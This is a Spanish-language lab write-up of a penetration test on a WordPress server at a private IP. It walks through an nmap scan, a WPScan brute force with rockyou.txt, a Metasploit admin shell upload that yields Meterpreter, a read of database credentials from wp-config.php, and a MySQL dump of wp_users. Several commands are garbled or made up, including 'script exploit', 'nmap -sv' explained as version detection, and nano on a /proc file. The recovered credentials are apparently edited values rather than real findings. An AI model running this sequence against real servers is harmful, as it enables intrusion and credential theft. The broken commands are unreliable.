Práctica 4 – Pentesting a Servidor WordPress

Paso 1: Reconocimiento y Escaneo de Puertos

En esta fase inicial identificamos la máquina objetivo y los servicios activos para detectar vectores de ataque.

Comando utilizado:

```
sudo nmap -sv -v -T4 192.168.50.10
```

Explicación breve:

- sudo: ejecuta con privilegios elevados.
- nmap: escáner de red.
- -sv -v: muestra versiones de servicios y salida detallada.
- -T4: perfil de tiempo agresivo para acelerar el escaneo.
- 192.168.50.10: IP del servidor objetivo.

Comando de verificación automática de vulnerabilidades (opcional):

```
script exploit 192.168.50.10
```

(Ejecuta checks automatizados para detectar fallos explotables en los servicios detectados.)

Paso 2: Enumeración Web y Fuerza Bruta

Confirmado el servicio web (puerto 80), se buscan directorios ocultos y se intenta obtener credenciales débiles.

2.1 Escaneo de directorios (DirBuster / Dirsearch)

Se usa una wordlist para descubrir recursos ocultos y archivos PHP.

- Wordlist ejemplo: directory-list-lowercase-2.3-medium.txt
- Extensiones buscadas: .php
- Resultado: WordPress detectado en la raíz del sitio.

2.2 Ataque de diccionario a WordPress (WPScan)

```
wpscan --url http://192.168.50.10/ --passwords /usr/share/wordlists/rockyou.txt --usernames karla
```

Explicación:

- **--url: sitio objetivo.**
- **--passwords: ruta al diccionario rockyou.txt.**

- **--usernames karla: probar específicamente el usuario karla.**

Resultado exitoso (credenciales obtenidas):

- **Usuario: karla**
- **Contraseña: karla22**

Paso 3: Explotación con Metasploit Framework

Con credenciales administrativas, se emplea Metasploit para cargar una shell y obtener acceso remoto.

3.1 Iniciar Metasploit

```
msfconsole
```

3.2 Seleccionar el módulo de subida de shell para WordPress

```
use exploit/unix/webapp/wp_admin_shell_upload
```

3.3 Configurar el módulo con los datos recolectados

```
set username karla
set password karla22
set rhosts 192.168.50.10
set targeturi /
```

3.4 Ejecutar el exploit

```
exploit
```

Resultado: Se abre una sesión Meterpreter, lo que indica control remoto exitoso sobre el servidor.

Paso 4: Post-Explotación y Exfiltración de Información

Dentro del servidor, se buscan datos sensibles y credenciales en la instalación de WordPress.

4.1 Obtener shell del sistema (desde Meterpreter)

```
shell
```

(Pasa de Meterpreter a una terminal estándar del sistema huésped.)

4.2 Ir al directorio de WordPress

cd /srv/www/wordpress

4.3 Mostrar el contenido de wp-config.php

cat wp-config.php

Credenciales encontradas (actualizadas):

- **Base de datos: karla_db**
- **Usuario MySQL: karla_user**
- **Contraseña MySQL: karla22**

(Estos valores son los que aparecerían en el wp-config.php tras la modificación solicitada.)

Paso 5: Acceso y Manipulación de la Base de Datos

Utilizando las credenciales extraídas, se accede al gestor de base de datos para revisar la información almacenada.

5.1 Conexión SSH al servidor (usuario actualizado)

ssh karla@192.168.50.10

(Usuario SSH: karla, contraseña: karla22 — si corresponde según la configuración del sistema.)

5.2 Conexión a MySQL con las credenciales encontradas

mysql -h localhost -u karla_user -p karla_db

(Al ejecutar pedirá la contraseña: karla22)

5.3 Comandos de exploración en MySQL

```
show databases;
use karla_db;
show tables;
select * from wp_users LIMIT 10;
```

Observación: Se confirman tablas típicas de WordPress (ej. wp_users, wp_posts) y se verifica el acceso total a la base de datos del sitio.

Paso 6: Hardening (Aseguramiento del Servidor)

Como medida final (y en un contexto de prueba controlada), se aplica una configuración para reducir la visibilidad del servidor en escaneos de red básicos.

6.1 Deshabilitar respuesta ICMP (ping)

```
sudo nano /proc/sys/net/ipv4/icmp_echo_ignore_all
```

Cambiar el valor de 0 a 1 y guardar.

Efecto: El kernel ignorará solicitudes ICMP echo (ping), lo que hace más difícil detectar el host mediante pings simples.

Conclusión (resumen breve)

- Se identificó y escaneó el servidor objetivo (192.168.50.10).
- Se enumeró la instalación de WordPress y se obtuvo acceso por fuerza bruta (WPScan) con las credenciales: **usuario karla / contraseña karla22**.
- Con esas credenciales se explotó una carga útil vía Metasploit y se consiguió una sesión Meterpreter.
- En post-explotación se encontró el archivo wp-config.php, que contenía las credenciales de base de datos actualizadas: **karla_db / karla_user / karla22**.
- Se accedió a MySQL con dichas credenciales y se confirmó acceso a las tablas del sitio.
- Finalmente se aplicó una configuración de ocultamiento básico (ignorar pings) como ejemplo de hardening.